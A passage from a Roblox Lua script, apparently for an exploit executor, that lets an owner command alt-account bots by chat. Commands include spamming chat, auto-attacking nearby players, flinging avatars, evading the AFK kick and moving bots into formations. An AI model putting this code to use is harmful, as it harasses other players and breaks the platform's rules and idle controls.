for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
end
end
if BM[1]:lower() == prefix.."unequip" then
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
end
if BM[1]:lower() == prefix.."noise" then
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = game.Players.LocalPlayer.Backpack
end
end
if BM[1]:lower() == prefix.."outfit" then
local outfitfound = outfits[BM[2]:lower()]
local messagehereforthing = "-gh "
for i,v in pairs(outfitfound) do
if i ~= #outfitfound then
messagehereforthing = messagehereforthing..tostring(v)..","
else
messagehereforthing = messagehereforthing..tostring(v)
end
end
game.Players:Chat(messagehereforthing)
end
if BM[1]:lower() == prefix.."hi" then
local tbl_main =
{
"Hi! :D",
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end
if BM[1]:lower() == prefix.."antiafk" then
wait(0.5)local ba=Instance.new("ScreenGui")
local ca=Instance.new("TextLabel")local da=Instance.new("Frame")
local _b=Instance.new("TextLabel")local ab=Instance.new("TextLabel")ba.Parent=game.CoreGui
ba.ZIndexBehavior=Enum.ZIndexBehavior.Sibling;ca.Parent=ba;ca.Active=true
ca.BackgroundColor3=Color3.new(0.176471,0.176471,0.176471)ca.Draggable=true
ca.Position=UDim2.new(0.698610067,0,0.098096624,0)ca.Size=UDim2.new(0,370,0,52)
ca.Font=Enum.Font.SourceSansSemibold;ca.Text="Anti AFK Script"ca.TextColor3=Color3.new(0,1,1)
ca.TextSize=22;da.Parent=ca
da.BackgroundColor3=Color3.new(0.196078,0.196078,0.196078)da.Position=UDim2.new(0,0,1.0192306,0)
da.Size=UDim2.new(0,370,0,107)_b.Parent=da
_b.BackgroundColor3=Color3.new(0.176471,0.176471,0.176471)_b.Position=UDim2.new(0,0,0.800455689,0)
_b.Size=UDim2.new(0,370,0,21)_b.Font=Enum.Font.Arial;_b.Text="Made by Dynamic. (please subscribe)"
_b.TextColor3=Color3.new(0,1,1)_b.TextSize=20;ab.Parent=da
ab.BackgroundColor3=Color3.new(0.176471,0.176471,0.176471)ab.Position=UDim2.new(0,0,0.158377,0)
ab.Size=UDim2.new(0,370,0,44)ab.Font=Enum.Font.ArialBold;ab.Text="Status: Active"
ab.TextColor3=Color3.new(0,1,1)ab.TextSize=20;local bb=game:service'VirtualUser'
game:service'Players'.LocalPlayer.Idled:connect(function()
bb:CaptureController()bb:ClickButton2(Vector2.new())
ab.Text="Roblox Tried to kick you but we didnt let them kick you :D"wait(2)ab.Text="Status : Active"end)
end
if BM[1]:lower() == prefix.."fasttools" then
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
game.Players.LocalPlayer.Character:BreakJoints()
end
if BM[1]:lower() == prefix.."fastboth" then
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Accessory") or v:IsA("Hat") then v.Handle:FindFirstChildOfClass("SpecialMesh"):Destroy() v.Parent = workspace end
end
game.Players.LocalPlayer.Character:BreakJoints()
end
if BM[1]:lower() == prefix.."creative" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://546821753"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."trapanese" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://6602547084"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."rocknroll" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://3263426063"
h.Volume = 10
h.PlaybackSpeed = 0.8
h:Play()
end
if BM[1]:lower() == prefix.."gasolina" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://4942978565"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."spin" then
spinning = true
local h = Instance.new("Sound",game.Players.LocalPlayer.Character)
h.Looped = true
h.SoundId = "rbxassetid://347026026"
h.Volume = 10
h:Play()
repeat wait()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(game.Players.LocalPlayer.Character.PrimaryPart.CFrame * CFrame.Angles(math.rad(0), math.rad(10), math.rad(0)))
until spinning == false
h:Destroy()
end
if BM[1]:lower() == prefix.."unspin" then
spinning = false
end
if BM[1]:lower() == prefix.."orbit" then
orbitting = true
local character = owner.Character
local hrp = character:WaitForChild("HumanoidRootPart")
local parts = {}
local numberOfParts = 75
for _ = 1, numberOfParts do
table.insert(parts, Instance.new("Part"))
end
for i, part in pairs(parts) do
part.Anchored = true
part.CanCollide = false
part.Parent = workspace
end
local fullCircle = 2 * math.pi
local radius = 5
local function getXAndZPositions(angle)
local x = math.cos(angle) * radius
local z = math.sin(angle) * radius
return x, z
end
game:GetService("RunService").Heartbeat:Connect(function()
for i, part in pairs(parts) do
local angle = i * (fullCircle / #parts)
local x, z = getXAndZPositions(angle)
local position = (hrp.CFrame * CFrame.new(x, 0, z)).p
local lookAt = hrp.Position
part.CFrame = CFrame.new(position, lookAt)
end
end)
repeat wait()
for i,v in pairs(parts) do
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(v.CFrame)
wait(0.0050)
end
until orbitting == false
for i,v in pairs(parts) do
v:Destroy()
end
end
if BM[1]:lower() == prefix.."gkgrab" then
if game.Players.LocalPlayer:DistanceFromCharacter(owner.Character.Head.Position) < 2.5 and gkgrabbing == false then
gkgrabbing = true
repeat wait()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-1.5))
until gkgrabbing == false
game.Players.LocalPlayer.Character:BreakJoints()
end
end
if BM[1]:lower() == prefix.."gkkill" then
gkgrabbing = false
end
if BM[1]:lower() == prefix.."grabknifegrab" then
if game.Players.LocalPlayer:DistanceFromCharacter(owner.Character.Head.Position) < 2.5 then
gkgrabbing = true
repeat wait()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-1.5))
until gkgrabbing == false
game.Players.LocalPlayer.Character:BreakJoints()
end
end
if BM[1]:lower() == prefix.."grabknifekill" then
gkgrabbing = false
end
if BM[1]:lower() == prefix.."orbitplr" then
orbitting = true
local character = GetPlayers(BM[2]:lower(),owner)[1].Character
local hrp = character:WaitForChild("HumanoidRootPart")
local parts = {}
local numberOfParts = 75
for _ = 1, numberOfParts do
table.insert(parts, Instance.new("Part"))
end
for i, part in pairs(parts) do
part.Anchored = true
part.CanCollide = false
part.Parent = workspace
end
local fullCircle = 2 * math.pi
local radius = 5
local function getXAndZPositions(angle)
local x = math.cos(angle) * radius
local z = math.sin(angle) * radius
return x, z
end
game:GetService("RunService").Heartbeat:Connect(function()
for i, part in pairs(parts) do
local angle = i * (fullCircle / #parts)
local x, z = getXAndZPositions(angle)
local position = (hrp.CFrame * CFrame.new(x, 0, z)).p
local lookAt = hrp.Position
part.CFrame = CFrame.new(position, lookAt)
end
end)
repeat wait()
for i,v in pairs(parts) do
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(v.CFrame)
wait(0.0050)
end
until orbitting == false
for i,v in pairs(parts) do
v:Destroy()
end
end
if BM[1]:lower() == prefix.."unorbit" then
orbitting = false
end
if BM[1]:lower() == prefix.."cuff" then
cuffed = true
repeat wait()
pcall(function()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-10))
end)
until cuffed == false
end
if BM[1]:lower() == prefix.."farcuff" then
cuffed = true
repeat wait()
pcall(function()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-20))
end)
until cuffed == false
end
if BM[1]:lower() == prefix.."uncuff" then
cuffed = false
end
if BM[1]:lower() == prefix.."enabletools" then
game.Players.LocalPlayer.Character.PrimaryPart.Touched:Connect(function(v)
pcall(function()
if v.Parent:IsA("Tool") then
game.Players.LocalPlayer.Character.Humanoid:TakeDamage(20)
end
end)
end)
end
if BM[1]:lower() == prefix.."sit" then
game.Players.LocalPlayer.Character.Humanoid.Sit = true
end
if BM[1]:lower() == prefix.."unsit" then
game.Players.LocalPlayer.Character.Humanoid.Sit = false
end
if BM[1]:lower() == prefix.."rejoin" then
game:GetService("TeleportService"):Teleport(game.PlaceId)
end
if BM[1]:lower() == prefix.."jump" then
game.Players.LocalPlayer.Character.Humanoid.Jump = true
end
if BM[1]:lower() == prefix.."lexplode" then
Instance.new("Explosion",game.Players.LocalPlayer.Character).Position = game.Players.LocalPlayer.Character.Head.Position
local tbl_main =
{
"💥",
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end
if BM[1]:lower() == prefix.."swordbot" then
swordfighting = true
repeat wait()
local success,message = pcall(function()
local chr = game.Players.LocalPlayer.Character
local Humanoid = chr:FindFirstChild("Humanoid")
local HRP = chr:FindFirstChild("HumanoidRootPart")
local function GetClosestPlayer(range)
local List = {}
local Target = nil
for i, v in pairs(game.Players:GetPlayers()) do
if v ~= game.Players.LocalPlayer and not table.find(bots,v.Name) then --and not table.find(whitelisted,owner.Name)
local dist = v:DistanceFromCharacter(chr.Head.Position)
if dist <= range then
table.insert(List, {dist, v})
end
end
end
table.sort(List, function(A, B)
return A[1] < B[1]
end)
pcall(function()
Target = List[1][2]
end)
return Target
end
local h = GetClosestPlayer(100)
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
end
game.Players.LocalPlayer.Character.Humanoid:MoveTo(h.Character.Head.Position)
pcall(function() game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):Activate() end)
end)
if not success then warn(message) end
until swordfighting == false
end
if BM[1]:lower() == prefix.."follow" then
following = true
repeat wait()
game.Players.LocalPlayer.Character.Humanoid:MoveTo(GetPlayers(BM[2]:lower(),owner)[1].Character.Head.Position)
until following == false
end
if BM[1]:lower() == prefix.."unfollow" then
following = false
end
if BM[1]:lower() == prefix.."swordbotuser" or BM[1]:lower() == prefix.."swordbotplr" then
swordfighting = true
repeat wait()
local success,message = pcall(function()
local h = GetPlayers(BM[2]:lower(),owner)
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
end
for i,v in pairs(h) do
game.Players.LocalPlayer.Character.Humanoid:MoveTo(v.Character.Head.Position)
pcall(function() game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):Activate() end)
end
end)
if not success then warn(message) end
until swordfighting == false
end
if BM[1]:lower() == prefix.."unshield" then
shielding = false
end
if BM[1]:lower() == prefix.."shield" then
shielding = true
local function GetClosestPlayer(range)
local List = {}
local Target = nil
for i, v in pairs(game.Players:GetPlayers()) do
if not table.find(bots,v.Name) and not v.Name == owner.Name then --and not table.find(whitelisted,v.Name)
local dist = v:DistanceFromCharacter(owner.Character.Head.Position)
if dist <= range then
table.insert(List, {dist, v})
end
end
end
table.sort(List, function(A, B)
return A[1] < B[1]
end)
pcall(function()
Target = List[1][2]
end)
return Target
end
repeat wait()
local h = GetClosestPlayer(5)
local AnimationId = "180435571"
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..AnimationId
local k = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
k:Play()
game.Players.LocalPlayer.Character.Animate:Destroy()
game.Players.LocalPlayer.Character.Humanoid.Animator:Destroy()
local Client = game.Players.LocalPlayer
local FeLoopTarget = h
local Camera = workspace.CurrentCamera
--local CF = CFrame.new
Client.Character:WaitForChild"Right Leg":Destroy()
local NewHum = Client.Character.Humanoid:Clone()
Client.Character.Humanoid:Destroy()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
for i,v in pairs(Client.Backpack:GetChildren()) do
if v and v:IsA"Tool" then
v.Parent = Client.Character
v.Handle.CanCollide = true
v.Handle.Massless = true
end
end
Client.Character:SetPrimaryPartCFrame(FeLoopTarget.Character.Head.CFrame * CFrame.new(-1,-1.5,1))
wait(0.5)
Client.Character:SetPrimaryPartCFrame(CFrame.new(0,9999999999,0))
wait(5.25)
until shielding == false
end
if BM[1]:lower() == prefix.."wlshield" then
shielding = true
local function GetClosestPlayer(range)
local List = {}
local Target = nil
for i, v in pairs(game.Players:GetPlayers()) do
if not table.find(bots,v.Name) and not table.find(whitelisted,v.Name) and not v.Name == owner.Name then --and not table.find(whitelisted,v.Name)
local dist = v:DistanceFromCharacter(owner.Character.Head.Position)
if dist <= range then
table.insert(List, {dist, v})
end
end
end
table.sort(List, function(A, B)
return A[1] < B[1]
end)
pcall(function()
Target = List[1][2]
end)
return Target
end
repeat wait()
local h = GetClosestPlayer(5)
local AnimationId = "180435571"
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..AnimationId
local k = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
k:Play()
game.Players.LocalPlayer.Character.Animate:Destroy()
game.Players.LocalPlayer.Character.Humanoid.Animator:Destroy()
local Client = game.Players.LocalPlayer
local FeLoopTarget = h
local Camera = workspace.CurrentCamera
--local CF = CFrame.new
Client.Character:WaitForChild"Right Leg":Destroy()
local NewHum = Client.Character.Humanoid:Clone()
Client.Character.Humanoid:Destroy()
NewHum.Parent = Client.Character;Camera.CameraSubject = Client.Character
for i,v in pairs(Client.Backpack:GetChildren()) do
if v and v:IsA"Tool" then
v.Parent = Client.Character
v.Handle.CanCollide = true
v.Handle.Massless = true
end
end
Client.Character:SetPrimaryPartCFrame(FeLoopTarget.Character.Head.CFrame * CFrame.new(-1,-1.5,1))
wait(0.5)
Client.Character:SetPrimaryPartCFrame(CFrame.new(0,9999999999,0))
wait(5.25)
until shielding == false
end
if BM[1]:lower() == prefix.."bibleverse" then
local response = game:GetService("HttpService"):JSONDecode(game:HttpGet("http://labs.bible.org/api/?passage=random&type=json"))
local tbl_main =
{
response[1].bookname .. " " .. response[1].chapter .. ":" .. response[1].verse .. " " .. response[1].text,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end
if BM[1]:lower() == prefix.."wlswordbot" then
swordfighting = true
repeat wait()
local success,message = pcall(function()
local chr = game.Players.LocalPlayer.Character
local Humanoid = chr:FindFirstChild("Humanoid")
local HRP = chr:FindFirstChild("HumanoidRootPart")
local function GetClosestPlayer(range)
local List = {}
local Target = nil
for i, v in pairs(game.Players:GetPlayers()) do
if v ~= game.Players.LocalPlayer and not table.find(bots,v.Name) and not table.find(whitelisted,v.Name) then --and not table.find(whitelisted,owner.Name)
local dist = v:DistanceFromCharacter(chr.Head.Position)
if dist <= range then
table.insert(List, {dist, v})
end
end
end
table.sort(List, function(A, B)
return A[1] < B[1]
end)
pcall(function()
Target = List[1][2]
end)
return Target
end
local h = GetClosestPlayer(100)
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
end
game.Players.LocalPlayer.Character.Humanoid:MoveTo(h.Character.Head.Position)
pcall(function() game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):Activate() end)
end)
if not success then warn(message) end
until swordfighting == false
end
if BM[1]:lower() == prefix.."unswordbot" then
swordfighting = false
end
if BM[1]:lower() == prefix.."stopswordbot" then
swordfighting = false
end
if BM[1]:lower() == prefix.."limbless" then
local h = Instance.new("Sound",game.Players.LocalPlayer.Character)
h.Looped = true
h.SoundId = "rbxassetid://4476755393"
h.Volume = 10
h:Play()
game.Players.LocalPlayer.Character["Left Arm"]:Destroy()
game.Players.LocalPlayer.Character["Right Arm"]:Destroy()
game.Players.LocalPlayer.Character["Left Leg"]:Destroy()
game.Players.LocalPlayer.Character["Right Leg"]:Destroy()
end
if BM[1]:lower() == prefix.."aaa" then
local tbl_main =
{
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
local h = Instance.new("Sound",game.Players.LocalPlayer.Character)
h.Looped = false
h.SoundId = "rbxassetid://6284168782"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."stopbots" then
if autojoin then
game:GetService("TeleportService"):Teleport(7063095018)
else
game.Players.LocalPlayer:Kick(prefix.."stopbots command executed.")
end
end
if BM[1]:lower() == prefix.."leave" then
if autojoin then
game:GetService("TeleportService"):Teleport(7063095018)
else
game.Players.LocalPlayer:Kick(prefix.."leave command executed.")
end
end
if BM[1]:lower() == prefix.."nohats" then
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
pcall(function() if v:IsA("Accessory") or v:IsA("Hat") then v:Destroy() end end)
end
end
if BM[1]:lower() == prefix.."loopnohats" then
nohats = true
repeat wait()
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
pcall(function() if v:IsA("Accessory") or v:IsA("Hat") then v:Destroy() end end)
end
until nohats == false
end
if BM[1]:lower() == prefix.."loophats" then
hats = true
repeat wait()
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
pcall(function() if v:IsA("Accessory") or v:IsA("Hat") then pcall(function() v.Handle:FindFirstChildOfClass("SpecialMesh"):Destroy() end) v.Parent = workspace end end)
end
until hats == false
end
if BM[1]:lower() == prefix.."unloophats" then
hats = false
end
if BM[1]:lower() == prefix.."unloopnohats" then
nohats = false
end
if BM[1]:lower() == prefix.."stun" then
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true
end
if BM[1]:lower() == prefix.."freeze" then
game.Players.LocalPlayer.Character.Head.Anchored = true
end
if BM[1]:lower() == prefix.."unfreeze" then
game.Players.LocalPlayer.Character.Head.Anchored = false
end
if BM[1]:lower() == prefix.."thaw" then
game.Players.LocalPlayer.Character.Head.Anchored = false
end
if BM[1]:lower() == prefix.."unstun" then
game.Players.LocalPlayer.Character.Humanoid.PlatformStand = false
end
if BM[1]:lower() == prefix.."nohumanoid" then
game.Players.LocalPlayer.Character.Humanoid:Destroy()
end
if BM[1]:lower() == prefix.."spinfling" then
power = 500 -- change this to make it more or less powerful
noclip = true
wait(.1)
local bambam = Instance.new("BodyThrust")
bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = Vector3.new(power,0,power)
bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
end
if BM[1]:lower() == prefix.."flingcuff" then
power = 500 -- change this to make it more or less powerful
noclip = true
wait(.1)
local bambam = Instance.new("BodyThrust")
bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = Vector3.new(power,0,power)
bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
cuffed = true
repeat wait()
pcall(function()
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-20))
end)
until cuffed == false
end
if BM[1]:lower() == prefix.."loopnotools" then
notools = true
repeat wait()
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v:Destroy()
end
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
until notools == false
end
if BM[1]:lower() == prefix.."looptools" then
tools = true
repeat wait()
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Character
v.Parent = workspace
end
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") then v.Parent = game.Players.LocalPlayer.Backpack end
end
until tools == false
end
if BM[1]:lower() == prefix.."unlooptools" then
tools = false
end
if BM[1]:lower() == prefix.."unloopnotools" then
notools = false
end
if BM[1]:lower() == prefix.."f" then
if game.Players.LocalPlayer.Name == bots[1] then
local tbl_main =
{
"F",
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end
if game.Players.LocalPlayer.Name == bots[2] then
wait(0.1)
local tbl_main =
{
"UC",
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end
if game.Players.LocalPlayer.Name == bots[3] then
wait(0.2)
local tbl_main =
{
"K",
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end
end
if BM[1]:lower() == prefix.."chat" then
local message = BM[2]
for i=1, #BM-2 do
message = message.." "..BM[i+2]
end
game.Players:Chat(message)
local tbl_main =
{
message,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end
if BM[1]:lower() == prefix.."secretchat" then
local message = BM[2]
for i=1, #BM-2 do
message = message.." "..BM[i+2]
end
game.Players:Chat(message)
end
if BM[1]:lower() == prefix.."lineup" then
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(5,0,0))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(-5,0,0))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,5,0))
end
end
if BM[1]:lower() == prefix.."lineup2" then
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,5))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-5))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,5,0))
end
end
if BM[1]:lower() == prefix.."stack" then
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,5,0))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,10,0))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,15,0))
end
end
if BM[1]:lower() == prefix.."loopstack" then
stacking = true
repeat wait()
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,5,0))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,10,0))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,15,0))
end
until stacking == false
end
if BM[1]:lower() == prefix.."unloopstack" then
stacking = false
end
if BM[1]:lower() == prefix.."looplineup" then
linedup = true
repeat wait()
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(5,0,0))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(-5,0,0))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,5,0))
end
until linedup == false
end
if BM[1]:lower() == prefix.."looplineup2" then
linedup = true
repeat wait()
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,5))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-5))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,5,0))
end
until linedup == false
end
if BM[1]:lower() == prefix.."unlooplineup" then
linedup = false
end
if BM[1]:lower() == prefix.."march" then
marching = true
repeat wait()
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,2.5))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,7.5))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,5))
end
until marching == false
end
if BM[1]:lower() == prefix.."bodyguard" then
bodyguarding = true
repeat wait()
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-10))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(3.5,-.5,5))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(-3.5,-.5,5))
end
until bodyguarding == false
end
if BM[1]:lower() == prefix.."unbodyguard" then
bodyguarding = false
end
if BM[1]:lower() == prefix.."unmarch" then
marching = false
end
if BM[1]:lower() == prefix.."key" then
keypress(tonumber(BM[2]))
wait(0.5)
keyrelease(tonumber(BM[2]))
end
if BM[1]:lower() == prefix.."marchdos" then
marching = true
repeat wait()
pcall(function()
if game.Players.LocalPlayer.Name == bots[1] then
pcall(function() game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-2.5)) end)
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-7.5))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,-.5,-5))
end
end)
until marching == false
end
if BM[1]:lower() == prefix.."rat" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://5951539576"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."astronaut" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://6422642623"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."2trucks" then
local h = Instance.new("Sound",owner.Character)
h.Looped = true
h.SoundId = "rbxassetid://5652274963"
h.Volume = 10
h:Play()
end
if BM[1]:lower() == prefix.."marchvisualize" then
local h = Instance.new("Sound",game.Players.LocalPlayer.Character)
h.Looped = true
h.SoundId = "rbxassetid://5951539576"
h.Volume = 10
h:Play()
marching = true
repeat wait()
pcall(function()
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character["Head"].CFrame * CFrame.new(0,h.PlaybackLoudness/100,2.5))
end
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character["Head"].CFrame * CFrame.new(0,h.PlaybackLoudness/100,7.5))
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(owner.Character.Head.CFrame * CFrame.new(0,h.PlaybackLoudness/100,5))
end
end)
until marching == false
h:Destroy()
end
if BM[1]:lower() == prefix.."copychat" then
copychat = true
end
if BM[1]:lower() == prefix.."uncopychat" then
copychat = false
end
if BM[1]:lower() == prefix.."loopkill" then
game.Players.LocalPlayer.Character:BreakJoints()
loopkill = true
end
if BM[1]:lower() == prefix.."unloopkill" then
loopkill = false
end
if BM[1]:lower() == prefix.."drophatonspawn" then
drophatonspawn = true
end
if BM[1]:lower() == prefix.."undrophatonspawn" then
drophatonspawn = false
end
if BM[1]:lower() == prefix.."droptoolonspawn" then
dropeoolonspawn = true
end
if BM[1]:lower() == prefix.."undroptoolonspawn" then
droproolonspawn = false
end
if BM[1]:lower() == prefix.."secretspam" then
local message = BM[2]
for i=1, #BM-2 do
message = message.." "..BM[i+2]
end
spamming = true
repeat wait()
game.Players:Chat(message)
until spamming == false
end
if BM[1]:lower() == prefix.."manualspam" then
spamming = true
repeat wait()
